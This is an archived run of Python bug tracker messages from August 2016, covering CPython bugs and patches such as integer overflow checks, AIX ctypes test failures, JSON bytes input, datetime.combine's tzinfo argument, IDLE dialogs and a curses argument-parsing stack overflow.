From report at bugs.python.org Mon Aug 1 00:25:54 2016 From: report at bugs.python.org (Martin Panter) Date: Mon, 01 Aug 2016 04:25:54 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470025554.6.0.702212321678.issue1621@psf.upfronthosting.co.za> Martin Panter added the comment: The check in ins1() was originally added in revision b9002da46f69. I presume it references the Python-dev thread ?can this overflow (list insertion)?? <20000812145155.A7629 at ActiveState.com>, . At that time, ob_size was an int, so overflow checking was definitely needed. Later, revision 7fdc639bc5b4 changed ob_size to Py_ssize_t, and then revision 606818c33e50 updated the overflow check from INT_MAX to PY_SSIZE_T_MAX. BTW I made a small mistake in my previous message. The worst case would be extending a list with itself. But I think the conclusion is still the same. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 00:29:45 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 01 Aug 2016 04:29:45 +0000 Subject: [issue19660] decorator syntax: allow testlist instead of just dotted_name In-Reply-To: <1470019927.02.0.784663436616.issue19660@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: OK, maybe someone else wants to provide a real-world example. Otherwise I am really going to close this (again). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 00:47:54 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 01 Aug 2016 04:47:54 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470026874.03.0.529316284409.issue1621@psf.upfronthosting.co.za> Xiang Zhang added the comment: So these checks are superfluous? Do we need to remove them? Hmm, I still doubt such checks should consider platform characteristics first. In theory List can be PY_SSIZE_T_MAX length. Do we have to put the PY_SIZE_MAX // sizeof(PyObject *) limit on it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 02:18:05 2016 From: report at bugs.python.org (Antti Haapala) Date: Mon, 01 Aug 2016 06:18:05 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1470032285.44.0.750853220573.issue1621@psf.upfronthosting.co.za> Antti Haapala added the comment: I don't believe Python would really ever work on a platform with non-8-bit-bytes, I believe there are way too much assumptions *everywhere*. You can program in C on such a platform, yes, but not that sure about Python. And on 8-bit-byte platfomrs, there is no large model with 16-bit pointers anywhere. There just are not enough bits that you could have multiple 64k byte-addressable segments that are addressed with 16-bit pointers. It might be that some obscure platform in the past would have had 128k memory, with large pointers, 2 allocatable 64k segments, >16 bit char pointer and 16-bit object pointers pointing to even bytes, but I doubt you'd be really porting *Python 3* to such a platform, basically we're talking about something like Commodore 128 here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 02:34:07 2016 From: report at bugs.python.org (David Su) Date: Mon, 01 Aug 2016 06:34:07 +0000 Subject: [issue27575] dict viewkeys intersection slow for large dicts In-Reply-To: <1468950707.74.0.640405379684.issue27575@psf.upfronthosting.co.za> Message-ID: <1470033247.89.0.00826527998536.issue27575@psf.upfronthosting.co.za> David Su added the comment: Attached is a patch that I had been working on. Could you please review and provide me with some feedback? Thanks! ---------- keywords: +patch Added file: http://bugs.python.org/file43959/dict_view_intersection.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 02:34:39 2016 From: report at bugs.python.org (Rolf Krahl) Date: Mon, 01 Aug 2016 06:34:39 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470033279.91.0.968767098237.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: *ping* It's more then four weeks ago that I revised my patch, still waiting for review. I also still need feedback on the question whether the new EncodingError exception introduced by Damien should be kept or whether I should change this to a ValueError. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 02:36:06 2016 From: report at bugs.python.org (David Su) Date: Mon, 01 Aug 2016 06:36:06 +0000 Subject: [issue27575] dict viewkeys intersection slow for large dicts In-Reply-To: <1468950707.74.0.640405379684.issue27575@psf.upfronthosting.co.za> Message-ID: <1470033366.09.0.830486055051.issue27575@psf.upfronthosting.co.za> Changes by David Su : Added file: http://bugs.python.org/file43960/dictview_intersection_test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 02:36:18 2016 From: report at bugs.python.org (David Su) Date: Mon, 01 Aug 2016 06:36:18 +0000 Subject: [issue27575] dict viewkeys intersection slow for large dicts In-Reply-To: <1468950707.74.0.640405379684.issue27575@psf.upfronthosting.co.za> Message-ID: <1470033378.54.0.187611245505.issue27575@psf.upfronthosting.co.za> Changes by David Su : Added file: http://bugs.python.org/file43961/performance_test.sh _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 02:47:32 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 01 Aug 2016 06:47:32 +0000 Subject: [issue27661] Add tzinfo= argument to datetime.combine In-Reply-To: <1470003141.22.0.331878271067.issue27661@psf.upfronthosting.co.za> Message-ID: <1470034052.05.0.204087445123.issue27661@psf.upfronthosting.co.za> Changes by SilentGhost : ---------- nosy: +SilentGhost _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 03:19:04 2016 From: report at bugs.python.org (Michael Felt) Date: Mon, 01 Aug 2016 07:19:04 +0000 Subject: [issue27632] build on AIX fails when builddir != srcdir, more than bad path to ld_so_aix In-Reply-To: <1469608112.86.0.803958819971.issue27632@psf.upfronthosting.co.za> Message-ID: <1470035944.76.0.896095336155.issue27632@psf.upfronthosting.co.za> Michael Felt added the comment: Yes, clearly related (maybe even duplicate). What surprised me is that after I copied ld_so_aix to where it was expected I still see a premature end with: Traceback (most recent call last): File "/var/aixtools/python/Python/2.7.12.0/opt/lib/python2.7/compileall.py", line 16, in import struct File "/var/aixtools/python/Python/2.7.12.0/opt/lib/python2.7/struct.py", line 1, in from _struct import * ImportError: No module named _struct Not investigated (compileall.py and struct.py - these are the DESTDIR versions (asin "make DESTDIR=/var/aixtools/python/Python/2.7.12.0 install" So, this would be, I think, the "new aka non-duplicate" part. If not, my apologies for the noise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 03:42:58 2016 From: report at bugs.python.org (aixtools) Date: Mon, 01 Aug 2016 07:42:58 +0000 Subject: [issue27643] test_ctypes fails on AIX with xlc In-Reply-To: <1469839915.17.0.167633993095.issue27643@psf.upfronthosting.co.za> Message-ID: <1336cc59-0a21-c8cf-f43f-81742859c511@gmail.com> aixtools added the comment: On 30-Jul-16 02:51, Martin Panter wrote: > Martin Panter added the comment: > > Looks like your Python 3 build is messed up. Maybe it doesn?t like running from a different directory. I would try from the main build directory, and note the test_bitfields has an S: I would not know why - it is just a copy of the sources and then configure, make, make DESTDIR=/some/where install (rather than make install). Same procedure I use for python2.7. > > ./python -m unittest -v ctypes.test.test_bitfields No changes: 3.5.1 root at x064:[/data/prj/aixtools/python/python-3.5.1.2]./python -m unittest -v ctypes.test.test_bitfields test_anon_bitfields (ctypes.test.test_bitfields.BitFieldTest) ... ok test_c_wchar (ctypes.test.test_bitfields.BitFieldTest) ... ok test_longlong (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_1 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_2 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_3 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_4 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_multi_bitfields_size (ctypes.test.test_bitfields.BitFieldTest) ... ok test_nonint_types (ctypes.test.test_bitfields.BitFieldTest) ... ok test_signed (ctypes.test.test_bitfields.BitFieldTest) ... ok test_single_bitfield_size (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint32 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint32_swap_big_endian (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint32_swap_little_endian (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint64 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_ulonglong (ctypes.test.test_bitfields.BitFieldTest) ... ok test_unsigned (ctypes.test.test_bitfields.BitFieldTest) ... ok test_ints (ctypes.test.test_bitfields.C_Test) ... FAIL test_shorts (ctypes.test.test_bitfields.C_Test) ... FAIL ====================================================================== FAIL: test_ints (ctypes.test.test_bitfields.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "/data/prj/aixtools/python/python-3.5.1.2/Lib/ctypes/test/test_bitfields.py", line 41, in test_ints self.assertEqual(getattr(b, name), func(byref(b), name.encode('ascii'))) AssertionError: -1 != 1 ====================================================================== FAIL: test_shorts (ctypes.test.test_bitfields.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "/data/prj/aixtools/python/python-3.5.1.2/Lib/ctypes/test/test_bitfields.py", line 48, in test_shorts self.assertEqual(getattr(b, name), func(byref(b), name.encode('ascii'))) AssertionError: -1 != 1 ---------------------------------------------------------------------- Ran 19 tests in 0.013s FAILED (failures=2) > What I am suggesting as a fix is to change line 381 from plain ?int? to ?signed int?, and 382 to ?signed short?. I can make a patch later if that will help. Hopefully with these changes the C compiler will use signed integer logic, matching what I believe the ctypes library uses for c_int and c_short. Working from Python-2.7.12 - added your changes, test still fails: root at x064:[/data/prj/aixtools/python/python-2.7.12.0]./python -m unittest -v ctypes.test.test_bitfields test_anon_bitfields (ctypes.test.test_bitfields.BitFieldTest) ... ok test_c_wchar (ctypes.test.test_bitfields.BitFieldTest) ... ok test_longlong (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_1 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_2 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_3 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_mixed_4 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_multi_bitfields_size (ctypes.test.test_bitfields.BitFieldTest) ... ok test_nonint_types (ctypes.test.test_bitfields.BitFieldTest) ... ok test_signed (ctypes.test.test_bitfields.BitFieldTest) ... ok test_single_bitfield_size (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint32 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint32_swap_big_endian (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint32_swap_little_endian (ctypes.test.test_bitfields.BitFieldTest) ... ok test_uint64 (ctypes.test.test_bitfields.BitFieldTest) ... ok test_ulonglong (ctypes.test.test_bitfields.BitFieldTest) ... ok test_unsigned (ctypes.test.test_bitfields.BitFieldTest) ... ok test_ints (ctypes.test.test_bitfields.C_Test) ... ok test_shorts (ctypes.test.test_bitfields.C_Test) ... FAIL ====================================================================== FAIL: test_shorts (ctypes.test.test_bitfields.C_Test) ---------------------------------------------------------------------- Traceback (most recent call last): File "/data/prj/aixtools/python/python-2.7.12.0/Lib/ctypes/test/test_bitfields.py", line 48, in test_shorts self.assertEqual((name, i, getattr(b, name)), (name, i, func(byref(b), name))) AssertionError: Tuples differ: ('M', 1, -1) != ('M', 1, 1) First differing element 2: -1 1 - ('M', 1, -1) ? - + ('M', 1, 1) ---------------------------------------------------------------------- Ran 19 tests in 0.068s FAILED (failures=1) > Using a type other than short is not right, because the Python test is explicitly trying to test c_short behaviour. If your compiler does not support ?signed short? bitfields, maybe we just have to accept that ctypes supports it even though the compiler doesn?t, and skip the test. Looks like this may be the approach: as signed int, signed short give the same message - it seems that xlc (and maybe Sun C) does not accept "short" as a bitfield type. skipping test - only if compiler is not gcc, as when using gcc, test works fine. > ---------- > > _______________________________________ > Python tracker > > _______________________________________ ---------- nosy: +aixtools at gmail.com _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 03:43:10 2016 From: report at bugs.python.org (Xiang Zhang) Date: Mon, 01 Aug 2016 07:43:10 +0000 Subject: [issue27662] Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New Message-ID: <1470037390.18.0.139195089898.issue27662@psf.upfronthosting.co.za> New submission from Xiang Zhang: List_New checks against PY_SIZE_MAX. The upper bound of PyMem_Malloc is PY_SSIZE_T_MAX. Instead of simply changing the constant, another method is delegating overflow check to PyMem_Calloc, so we can avoid the check in unnecessary check in PyMem_Malloc. But I am not sure hiding the check in PyMem_Calloc is a good idea or not. ---------- components: Interpreter Core files: List_New.patch keywords: patch messages: 271774 nosy: martin.panter, xiang.zhang priority: normal severity: normal status: open title: Check against PY_SSIZE_T_MAX instead of PY_SIZE_MAX in List_New type: enhancement versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43962/List_New.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 04:17:33 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 01 Aug 2016 08:17:33 +0000 Subject: [issue19837] Wire protocol encoding for the JSON module In-Reply-To: <1385778645.87.0.0800898315059.issue19837@psf.upfronthosting.co.za> Message-ID: <1470039453.66.0.0129832315681.issue19837@psf.upfronthosting.co.za> Nick Coghlan added the comment: I'm currently migrating a project that predates requests, and ended up needing to replace several "json.loads" calls with a "_load_json" helper that is just an alias for json.loads in Python 2, and defined as this in Python 3: def _load_json(data): return json.loads(data.decode()) To get that case to "just work", all I would have needed is for json.loads to accept bytes input, and assume it is UTF-8 encoded, that same way simplejson does. Since there aren't any type ambiguities associated with that, I think it would make sense for us to go ahead and implement at least that much for Python 3.6. By contrast, if I'd been doing *encoding*, I don't think there's anything the Python 3 standard library could have changed *on its own* to make things just work - I would have needed to change my code somehow. However, a new "dump_bytes" API could still be beneficial on that front as long as it was also added to simplejson: code that needed to run in the common Python 2/3 subset could use "simplejson.dump_bytes", while 3.6+ only code could just use the standard library version. Having dump_bytes() next to dumps() in the documentation would also provide a better hook for explaining the difference between JSON-as-text-encoding (with "str" output) and JSON-as-wire-encoding (with "bytes" output after encoding the str representation as UTF-8). In both cases, I think it would make sense to leave the non-UTF-8 support to simplejson and have the stdlib version be UTF-8 only. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 04:25:29 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 01 Aug 2016 08:25:29 +0000 Subject: [issue19837] Wire protocol encoding for the JSON module In-Reply-To: <1385778645.87.0.0800898315059.issue19837@psf.upfronthosting.co.za> Message-ID: <1470039929.61.0.40230923221.issue19837@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Does dump_bytes() return bytes (similar to dumps()) or write to binary stream (similar to dump())? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 04:48:00 2016 From: report at bugs.python.org (Hynek Schlawack) Date: Mon, 01 Aug 2016 08:48:00 +0000 Subject: [issue27589] asyncio doc: issue in as_completed() doc In-Reply-To: <1469182105.52.0.303554063448.issue27589@psf.upfronthosting.co.za> Message-ID: <1470041280.53.0.294848472175.issue27589@psf.upfronthosting.co.za> Hynek Schlawack added the comment: More explicitly: The doc sells the function short. If you have a bunch of futures and want to know as soon as one of them is ready: this is the function for you. The only hint that this is the actual behavior comes from the *name* of the function; not the documentation. ---------- nosy: +hynek _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 06:24:05 2016 From: report at bugs.python.org (Nick Coghlan) Date: Mon, 01 Aug 2016 10:24:05 +0000 Subject: [issue19837] Wire protocol encoding for the JSON module In-Reply-To: <1385778645.87.0.0800898315059.issue19837@psf.upfronthosting.co.za> Message-ID: <1470047045.68.0.759505446098.issue19837@psf.upfronthosting.co.za> Nick Coghlan added the comment: dump_bytes() would be a binary counterpart to dumps() The dump() case is already handled more gracefully, as the implicit encoding to UTF-8 can live on the file-like object, rather than needing to be handled by the JSON encoder. I'm still not 100% sure on its utility though - it's only "json.loads assuming binary input is UTF-8 encoded text would be way more helpful than the current behaviour" that I'm confident about. If the assumption is wrong, you'll likely fail JSON deserialisation anyway, and when it's right, the common subset of Python 2 & 3 has been expanded in a useful way. So perhaps we should split the question into two issues? A new one for accepting binary data as an input to json.loads, and make this one purely about whether or not to offer a combined serialise-and-encode operation for the wire protocol use case? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 06:27:37 2016 From: report at bugs.python.org (G Young) Date: Mon, 01 Aug 2016 10:27:37 +0000 Subject: [issue27663] Inconsistent CSV Writer Behaviour Message-ID: <1470047257.41.0.340893509322.issue27663@psf.upfronthosting.co.za> New submission from G Young: When writing scientific notation to CSV with custom line-terminators, the behaviour is inconsistent depending on the line-terminator you use. In the file provided, two different line-terminator result in one quoting the number as a string and the other not. IMO the second example is correct, but I don't understand why the behaviours should be any different. ---------- components: IO files: bug.py messages: 271779 nosy: G Young priority: normal severity: normal status: open title: Inconsistent CSV Writer Behaviour versions: Python 3.5 Added file: http://bugs.python.org/file43963/bug.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 06:37:52 2016 From: report at bugs.python.org (SilentGhost) Date: Mon, 01 Aug 2016 10:37:52 +0000 Subject: [issue27663] Inconsistent CSV Writer Behaviour In-Reply-To: <1470047257.41.0.340893509322.issue27663@psf.upfronthosting.co.za> Message-ID: <1470047872.61.0.103159686556.issue27663@psf.upfronthosting.co.za> SilentGhost added the comment: It is quoting the values when line terminator contains any of the special characters. Exactly like documented. https://docs.python.org/3/library/csv.html#csv.QUOTE_MINIMAL ---------- nosy: +SilentGhost resolution: -> not a bug stage: -> resolved status: open -> closed type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 06:39:39 2016 From: report at bugs.python.org (G Young) Date: Mon, 01 Aug 2016 10:39:39 +0000 Subject: [issue27663] Inconsistent CSV Writer Behaviour In-Reply-To: <1470047257.41.0.340893509322.issue27663@psf.upfronthosting.co.za> Message-ID: <1470047979.6.0.728169441224.issue27663@psf.upfronthosting.co.za> G Young added the comment: That doesn't make sense to me. Can you explain how that is intended behaviour? I just changed from '-' to '?' in the lineterminator. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 06:43:04 2016 From: report at bugs.python.org (G Young) Date: Mon, 01 Aug 2016 10:43:04 +0000 Subject: [issue27663] Inconsistent CSV Writer Behaviour In-Reply-To: <1470047257.41.0.340893509322.issue27663@psf.upfronthosting.co.za> Message-ID: <1470048184.5.0.720866542125.issue27663@psf.upfronthosting.co.za> G Young added the comment: Second time around does the charm. I see the hidden "-" in the scientific notation is causing this. Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 10:38:18 2016 From: report at bugs.python.org (Matej Cepl) Date: Mon, 01 Aug 2016 14:38:18 +0000 Subject: [issue1005895] curses for win32 Message-ID: <1470062298.22.0.82264551776.issue1005895@psf.upfronthosting.co.za> Matej Cepl added the comment: Well, basically any solution is better than nothing ;) ---------- nosy: +mcepl _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 10:40:12 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 01 Aug 2016 14:40:12 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470062412.67.0.0839208639416.issue27660@psf.upfronthosting.co.za> R. David Murray added the comment: No, I was the one who missed something. Just ignore my comment and lets wait for someone with more current C chops to answer :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 10:42:31 2016 From: report at bugs.python.org (R. David Murray) Date: Mon, 01 Aug 2016 14:42:31 +0000 Subject: [issue27660] Replace size_t with Py_ssize_t as the type of local variable in list_resize In-Reply-To: <1469986809.78.0.371731130003.issue27660@psf.upfronthosting.co.za> Message-ID: <1470062551.98.0.775347503423.issue27660@psf.upfronthosting.co.za> R. David Murray added the comment: Erg. You mention your English proficiency and then I go using a colequialism :( "better C chops" means someone with more skill than I am currently exhibiting. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 11:58:28 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 01 Aug 2016 15:58:28 +0000 Subject: [issue27661] Add tzinfo= argument to datetime.combine In-Reply-To: <1470003141.22.0.331878271067.issue27661@psf.upfronthosting.co.za> Message-ID: <1470067108.66.0.805836983569.issue27661@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: The second patch includes documentation changes and addresses review commments. ---------- Added file: http://bugs.python.org/file43964/issue27661-2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 12:00:27 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 01 Aug 2016 16:00:27 +0000 Subject: [issue27661] Add tzinfo= argument to datetime.combine In-Reply-To: <1470003141.22.0.331878271067.issue27661@psf.upfronthosting.co.za> Message-ID: <1470067227.57.0.335288543873.issue27661@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: >From review comments: Lib/datetime.py:1482: def combine(cls, date, time, tzinfo=True): On 2016/08/01 08:47:14, SilentGhost wrote: > This strikes me as an odd default value, why not use a more conventional None? This is the same default as used in the .replace() methods. Arguably, a proper sentinel value would be a better choice, but I think True delivers better performance. In any case, this is not something I would change without consulting with the PyPy folks. See . ---------- stage: patch review -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 12:02:54 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 01 Aug 2016 16:02:54 +0000 Subject: [issue27661] Add tzinfo= argument to datetime.combine In-Reply-To: <1470003141.22.0.331878271067.issue27661@psf.upfronthosting.co.za> Message-ID: <1470067374.05.0.792411898825.issue27661@psf.upfronthosting.co.za> Alexander Belopolsky added the comment: >From review comments: Lib/datetime.py:1482: def combine(cls, date, time, tzinfo=True): On 2016/08/01 12:23:12, berkerpeksag wrote: > On 2016/08/01 08:47:14, SilentGhost wrote: > > This strikes me as an odd default value, why not use a more conventional None? > > Agreed. It would also be good to make it keyword-only. tzinfo is not kw-only in the other constructors and I don't think it should be here. Unlike "fold", tzinfo value is usually recognizable at the call site. It is either called something like "tzinfo", "tz" or "New_York" or is a call such as 'tz.get('US/Eastern'). I would always prefer datetime.combine(d, t, tzinfo) to datetime.combine(d, t, tzinfo=tzinfo). datetime.combine(d, t, New_York) vs. datetime.combine(d, t, tzinfo=New_York) is a closer call, but still the first form is readable enough. See . ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 12:59:51 2016 From: report at bugs.python.org (Alexander Belopolsky) Date: Mon, 01 Aug 2016 16:59:51 +0000 Subject: [issue27661] Add tzinfo= argument to datetime.combine In-Reply-To: <1470003141.22.0.331878271067.issue27661@psf.upfronthosting.co.za> Message-ID: <1470070791.71.0.632465358543.issue27661@psf.upfronthosting.co.za> Changes by Alexander Belopolsky : Added file: http://bugs.python.org/file43965/issue27661-3.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 13:55:24 2016 From: report at bugs.python.org (Mark Roseman) Date: Mon, 01 Aug 2016 17:55:24 +0000 Subject: [issue27621] Finish IDLE Query dialog appearance and behavior. In-Reply-To: <1469512966.74.0.594331033204.issue27621@psf.upfronthosting.co.za> Message-ID: <1470074124.78.0.382217447175.issue27621@psf.upfronthosting.co.za> Mark Roseman added the comment: I've attached query.patch, which does the cosmetic and layout changes, and adds a couple Mac-specific things. I've added the inline error message widget but don't use it yet (as this will involve changes to the subclasses and the tests, given errors will show up when the dialog is running, not after). Given I'm a bit rusty at this, would appreciate if someone could check this out and make sure I did things correctly. :-) ---------- Added file: http://bugs.python.org/file43966/query.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 14:03:16 2016 From: report at bugs.python.org (Augie Fackler) Date: Mon, 01 Aug 2016 18:03:16 +0000 Subject: [issue27664] Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor Message-ID: <1470074596.72.0.973598099873.issue27664@psf.upfronthosting.co.za> New submission from Augie Fackler: This is mostly useful for when you've got a large number of threads and want to try and identify what threadpool is going nuts. ---------- components: Library (Lib) files: cpython.patch keywords: patch messages: 271790 nosy: durin42 priority: normal severity: normal status: open title: Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor type: enhancement Added file: http://bugs.python.org/file43967/cpython.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 14:03:49 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Mon, 01 Aug 2016 18:03:49 +0000 Subject: [issue27664] Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor In-Reply-To: <1470074596.72.0.973598099873.issue27664@psf.upfronthosting.co.za> Message-ID: <1470074629.69.0.647604967668.issue27664@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 14:18:13 2016 From: report at bugs.python.org (Zachary Ware) Date: Mon, 01 Aug 2016 18:18:13 +0000 Subject: [issue27664] Allow specifying prefix for thread name in concurrent.futures.ThreadPoolExecutor In-Reply-To: <1470074596.72.0.973598099873.issue27664@psf.upfronthosting.co.za> Message-ID: <1470075493.58.0.921076369553.issue27664@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- stage: -> patch review versions: +Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 14:31:53 2016 From: report at bugs.python.org (Mark Roseman) Date: Mon, 01 Aug 2016 18:31:53 +0000 Subject: [issue27477] IDLE: Switch search dialogs to ttk widgets, and other refinement In-Reply-To: <1468181977.57.0.555586182066.issue27477@psf.upfronthosting.co.za> Message-ID: <1470076313.91.0.358546427503.issue27477@psf.upfronthosting.co.za> Mark Roseman added the comment: Have attached search.diff, which does an initial bit of cosmetics: adds inner frame with spacing, tweaks a couple labels, and for Mac and X11, puts the command buttons at the bottom of the dialog rather than on the right (where they remain on Windows). ---------- Added file: http://bugs.python.org/file43968/search.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 18:50:47 2016 From: report at bugs.python.org (Alexander Bayandin) Date: Mon, 01 Aug 2016 22:50:47 +0000 Subject: [issue27665] Make create_server able to listen on several ports Message-ID: <1470091847.64.0.679712938011.issue27665@psf.upfronthosting.co.za> New submission from Alexander Bayandin: Make create_server accept a list of ports to listen. Now it contains only code changes without updates in docs and tests. If these changes will be considered as helpful I'll be glad to add tests and update documentation for the method. ---------- components: asyncio files: create_server-multiple-ports.patch keywords: patch messages: 271792 nosy: Alexander.Bayandin, gvanrossum, haypo, yselivanov priority: normal severity: normal status: open title: Make create_server able to listen on several ports type: enhancement versions: Python 3.5, Python 3.6 Added file: http://bugs.python.org/file43969/create_server-multiple-ports.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 19:01:24 2016 From: report at bugs.python.org (Guido van Rossum) Date: Mon, 01 Aug 2016 23:01:24 +0000 Subject: [issue27665] Make create_server able to listen on several ports In-Reply-To: <1470091847.64.0.679712938011.issue27665@psf.upfronthosting.co.za> Message-ID: <1470092484.06.0.425733821618.issue27665@psf.upfronthosting.co.za> Guido van Rossum added the comment: IIRC we got a similar PR before. But what's the problem with creating multiple server objects? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 19:24:45 2016 From: report at bugs.python.org (Alexander Bayandin) Date: Mon, 01 Aug 2016 23:24:45 +0000 Subject: [issue27665] Make create_server able to listen on several ports In-Reply-To: <1470091847.64.0.679712938011.issue27665@psf.upfronthosting.co.za> Message-ID: <1470093885.1.0.991170395869.issue27665@psf.upfronthosting.co.za> Alexander Bayandin added the comment: I think it is just handier than creating several server objects like it is already done for a list of hosts. For me in particular, need to have exactly the same logic for multiple ports which generates randomly and I want to have one predefined port for manually checking/debugging. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 19:47:17 2016 From: report at bugs.python.org (Alexander Bayandin) Date: Mon, 01 Aug 2016 23:47:17 +0000 Subject: [issue27665] Make create_server able to listen on several ports In-Reply-To: <1470091847.64.0.679712938011.issue27665@psf.upfronthosting.co.za> Message-ID: <1470095237.25.0.138427494336.issue27665@psf.upfronthosting.co.za> Alexander Bayandin added the comment: Furthermore, there is a problem with overlapped ports for multiple created server objects. Also, I can quote a comment from 'original' issue: http://bugs.python.org/msg237794 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 1 19:52:30 2016 From: report at bugs.python.org (Steve Fink) Date: Mon, 01 Aug 2016 23:52:30 +0000 Subject: [issue27666] "stack smashing detected" in PyCursesWindow_Box Message-ID: <1470095550.97.0.482934277649.issue27666@psf.upfronthosting.co.za> New submission from Steve Fink: When attempting to run |hg chistedit|, which uses the python curses module, I am getting *** stack smashing detected ***: /usr/bin/python terminated The problem is in PyCursesWindow_Box in _cursesmodule.c: if (!PyArg_ParseTuple(args,"ll;vertint,horint", &ch1, &ch2)) return NULL; ch1 and ch2 are of type 'chtype', which is a 4-byte integer on my platform. (I am on a fresh install of Fedora 24 x86_64.) The format string 'l' is writing 8 bytes. It is hard to fit 8 bytes into a 4 byte variable. I scanned through the rest of the file. Most places are very careful about this; if needed, they'll parse into a 'long' temporary and then assign. But here's another one in PyCurses_UngetMouse: MEVENT event; PyCursesInitialised; if (!PyArg_ParseTuple(args, "hiiil", &event.id, &event.x, &event.y, &event.z, (int *) &event.bstate)) return NULL; event.bstate is of type mmask_t, which is also 4 bytes. I did not find any more in that file. % rpm -q python-libs 